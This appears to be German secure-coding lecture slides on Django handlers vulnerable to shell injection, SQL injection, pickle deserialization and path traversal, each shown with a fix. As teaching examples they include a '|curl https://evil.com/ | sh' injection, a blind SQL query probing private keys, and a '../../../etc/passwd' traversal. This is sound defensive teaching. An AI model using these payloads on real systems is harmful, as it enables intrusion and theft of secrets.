# Richtiger Code ist mit ✓ markiert -->
from django.http import HttpResponse
import os
def vulnerable_handler(request):
cmd = 'echo {} | base64'.format(
request.POST['message'])
b64 = os.popen(cmd).read()
return HttpResponse(
'<html> base64 {}!</html>'.format(b64))
Welche Eingaben sind hier problematisch?
cmd = 'echo {} | base64'.format(
request.POST['message'])
b64 = os.popen(cmd).read()
foo bar
echo foo bar | base64
|curl https://evil.com/ | sh
echo |curl https://evil.com/ | sh | base64
cmd = 'echo "{}" | base64'.format(
request.POST['message'])
b64 = os.popen(cmd).read()
|curl https://evil.com/|sh
echo "|curl https://evil.com/|sh" | base64
echo ""|curl https://evil.com/|sh|cat "-" | base64
"
und $
) müssen richtig enkodiert werden!
shlex.quote
verwendenpipes.quote
in Python 2import shlex
cmd = 'echo {} | base64'.format(
shlex.quote(request.POST['message']))
b64 = os.popen(cmd).read()
a " b $ c ' d
echo 'a " b $ c '"'"' d' | base64
subprocess
verwenden!import subprocess
b64 = subprocess.check_output(
['base64'],
input=request.POST['message'].encode('utf-8'))
shell=True
!import base64
b64 = base64.b64encode(
request.POST['message'].encode('utf-8'))
ctypes
os.popen
os.system
subprocess.*(..., shell=True)
pty.spawn
"
, '
, `
)$
, (
from django.http import HttpResponse
import mysql
cursor = mysql.connector.connect(...).cursor()
def vulnerable_handler(request):
cursor.execute(
"SELECT txt FROM posts "
"WHERE id='{}'".format(request.GET['id']))
return HttpResponse(
'<html>{}</html>'.format(next(cursor)[0]))
Welche Eingaben sind hier problematisch?
cursor.execute(
"SELECT txt FROM posts "
"WHERE id='{}'".format(request.GET['id']))
42
SELECT txt FROM posts WHERE id='42'
SELECT txt FROM posts WHERE id='42' AND
(SELECT COUNT(*) FROM secrets
WHERE private_key LIKE "a%") > 0 AND ''=''
cursor.execute(
"SELECT txt FROM posts WHERE id=%s",
(request.GET['id'],))
from django.http import HttpResponse
import pickle
def vulnerable_handler(request):
prefs_p = request.COOKIES.get('prefs')
prefs = (
pickle.loads(prefs_p)
if prefs_p else {'lang': 'de'})
return HttpResponse(
'<html>language: {}!</html>'.format(
prefs['lang']))
pickle.loads(prefs_p)
Problem: pickle kann beliebigen Code (de)serialisieren!
os.system('echo evil')
{'lang': 'de'}
plötzlich {'lang': ['d', 'e']}
ist?
from django.http import HttpResponse
import io
def vulnerable_handler(request):
fn = '/var/myapp/data/' + request.GET['id']
with io.open(fn, encoding='utf-8') as f:
stored = f.read()
return HttpResponse(
'<html>stored: {}</html>'.format(stored))
Welche Eingaben sind hier problematisch?
fn = '/var/myapp/data/' + request.GET['id']
../../../etc/passwd
fn = '/var/myapp/data/' + '../../../etc/passwd'
fn = '/etc/passwd'
os.path.join
oder pathlib
hilft nicht, sondern ermöglicht sogar noch mehr!>>> import os.path
>>> os.path.join('/var/myapp/data', '/etc/passwd')
'/etc/passwd'
os.path.basename
!fn = os.path.join(
'/var/myapp/data/',
os.path.basename(request.GET['id']))
os.path.abspath
überprüfenfn = os.path.abspath(os.path.join(
'/var/myapp/data/', request.GET['id']))
if not fn.startswith('/var/myapp/data/'):
raise Exception('Path traversal attempt')
CON
, COM1
, NUL
etc. unter Windowsopen
, io.open
, os.listdir
zipfile
ist oktarfile
katastrophal unsicherfrom setuptools import setup
setup(name='vulnerable-project',
version='0.1',
description='A vulnerable project',
author='Ingo Insecure',
install_requires=[
'Django', 'urlib3', 'raven',
])
from setuptools import setup
setup(name='vulnerable-project',
version='0.1',
description='A vulnerable project',
author='Ingo Insecure',
install_requires=[
'Django', 'urlib3', 'raven',
])
Django==2.0.1 \
--hash=sha256:af18618ce3291be50928...